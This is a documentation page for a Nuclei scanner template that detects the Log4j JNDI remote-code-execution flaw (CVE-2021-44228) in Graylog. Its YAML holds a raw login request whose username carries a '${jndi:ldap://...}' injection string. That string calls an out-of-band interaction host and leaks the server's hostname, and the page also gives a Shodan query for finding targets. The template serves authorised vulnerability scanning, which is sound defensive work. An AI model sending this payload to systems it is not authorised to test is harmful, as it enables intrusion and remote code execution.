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Graylog (Log4j) - Remote Code Execution

ID: graylog-log4j

Severity: critical

Author: DhiyaneshDK

Tags: cve,cve2021,rce,jndi,log4j,graylog,kev,oast

Description

Section titled “Description”

Graylog is susceptible to remote code execution via the Apache Log4j 2 library prior to 2.15.0 by recording its own log information, specifically with specially crafted values sent as user input. Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI-related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

YAML Source

Section titled “YAML Source”
id: graylog-log4j


info:
  name: Graylog (Log4j) - Remote Code Execution
  author: DhiyaneshDK
  severity: critical
  description: Graylog is susceptible to remote code execution via the Apache Log4j 2 library prior to 2.15.0 by recording its own log information, specifically with specially crafted values sent as user input. Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI-related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
  reference:
    - https://www.graylog.org/post/graylog-update-for-log4j
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
    cpe: cpe:2.3:a:graylog:graylog:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Graylog Web Interface"
    product: graylog
    vendor: graylog
  tags: cve,cve2021,rce,jndi,log4j,graylog,kev,oast
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'


http:
  - raw:
      - |
        POST /api/system/sessions HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        X-Requested-With: XMLHttpRequest
        X-Requested-By: XMLHttpRequest
        Content-Type: application/json
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}


        {"username":"${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}}","password":"admin","host":"{{Hostname}}"}


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'X-Graylog-Node-Id:'


      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"


      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'


    extractors:
      - type: kval
        kval:
          - interactsh_ip


      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'


      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 4a0a00473045022100a794a510dd795cffd602a21570a626ad161e95508e29cfc8fca85f41f7609390022018df98df9fc8600f4bdcbb3a9ae4931729bd569c03283ae3eebed1e5b521ab6c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/graylog-log4j.yaml"

View on Github